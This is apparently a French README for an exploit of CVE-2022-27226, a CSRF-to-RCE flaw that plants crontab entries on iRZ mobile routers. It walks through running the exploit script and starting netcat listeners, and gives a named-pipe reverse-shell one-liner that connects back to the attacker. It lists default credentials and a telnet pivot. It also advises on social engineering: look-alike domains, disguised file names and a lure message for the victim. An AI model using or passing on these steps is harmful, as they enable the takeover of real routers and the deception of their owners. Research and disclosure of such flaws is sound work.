
Exploit pour CVE-2022-27226
Exploit pour CVE-2022-27226
Cross Site Request Forgery vers l'exécution de code à distance dans les routeurs mobiles iRZ
<--Découverte de vulnérabilité-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--Développement de l'exploit-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
Un problème de CSRF sur les routeurs mobiles iRZ jusqu'au 16 mars 2022 permet à un acteur malveillant de créer une entrée crontab dans le panneau d'administration du routeur. Le cronjob exécutera ensuite l'entrée à l'intervalle défini par l'acteur, conduisant à une exécution de code à distance, permettant à l'acteur d'obtenir un accès au système de fichiers. De plus, si les identifiants par défaut du routeur n'ont pas été modifiés ou si un acteur découvre des identifiants valides, l'exécution de code à distance peut être réalisée sans interaction de l'utilisateur.
Il est pertinent de démarrer deux écouteurs netcat avant de tenter de capturer un shell, car le crontab, lorsqu'il est exécuté, répétera la même tâche cron plusieurs fois et votre shell mourra au cycle suivant. Vous ne pouvez pas utiliser nohup car l'environnement busybox est assez restrictif, et alternativement vous pourriez modifier l'exploit avec un intervalle d'entrée crontab différent, cependant la meilleure façon de contourner cela sans se soucier de l'intervalle du crontab est d'utiliser plusieurs écouteurs pour la première capture de reverse shell.
Il a été découvert que dans la plupart des cas, les routeurs n'ont pas le port telnet ouvert en externe - cependant, une fois l'exécution de code à distance obtenue, vous pouvez utiliser telnet pour corriger le TTY pour la plupart. Vous devez avoir des identifiants pour le faire. Si vous utilisez la chaîne complète CSRF vers RCE, nous vous recommandons de construire un modèle de PoC CSRF plus complet qui enregistre l'événement de connexion de l'utilisateur ou les en-têtes qui peuvent contenir l'en-tête d'autorisation de base qui est traduit dans le script.
Les identifiants par défaut pour ces routeurs sont généralement root:root ou admin:admin. Si vous avez des identifiants, exécutez :
python cve.py
Suivez les instructions qui sont assez simples, puis démarrez deux écouteurs netcat sur deux ports séparés.
nc -lvp 443
nc -lvp 5000
Lorsque vous capturez un reverse shell dans le premier écouteur, réexécutez la commande one-liner de reverse shell pour obtenir un shell persistant :
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
Enfin, si vous avez des identifiants (ce qui devrait être le cas si vous utilisez cette partie du module) - essayez de pivoter vers le service telnet restreint en interne :
telnet 0.0.0.0
Mais que faire si telnet est exposé en externe ? Alors connectez-vous au foutu routeur avec les identifiants, abruti.
Les instructions pour ce module sont presque les mêmes que celles du RCE post-authentifié. La grande différence étant que vous n'avez pas d'identifiants.
Tout d'abord, pour exploiter efficacement, vous devez comprendre comment cela fonctionne. CSRF nécessite une interaction de l'utilisateur, ce qui signifie que vous devrez faire de l'ingénierie sociale. Il y a deux scénarios potentiels : l'utilisateur est connecté lorsqu'il clique sur le bouton de preuve de concept, ou l'utilisateur n'est pas connecté. S'il est déjà authentifié sur le routeur, la requête POST pour créer la tâche cron sera envoyée à l'API et l'utilisateur verra une page blanche. S'il n'est pas connecté, l'utilisateur recevra une invite d'authentification de base - et assez commodément, la popup d'authentification de base aura l'IP du routeur victime, s'il entre ses identifiants, cela envoie la requête POST à l'API.
Nous recommandons d'essayer d'acheter un domaine similaire si le routeur victime est hébergé sur un sous-domaine ou de trouver un fournisseur avec les mêmes plages de sous-réseaux pour les serveurs s'il s'agit d'une cible prioritaire. Affiner le PoC CSRF peut en valoir la peine pour une cible prioritaire.
Exécutez le script
python cve.py
Suivez les instructions, dans le script, il générera ensuite un modèle csrf pour vous. Nous recommandons de le nommer quelque chose d'un peu plus discret.
mv poc.new.html index.html
Hébergez le PoC sur votre serveur, de préférence sur le même port que le routeur victime.
python3 -m http.server 80
Prenez le lien et envoyez-le à la victime, en veillant à ajouter le nom du fichier PoC à la fin de l'URL :
Salut chérie, peux-tu te connecter au routeur s'il te plaît :
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html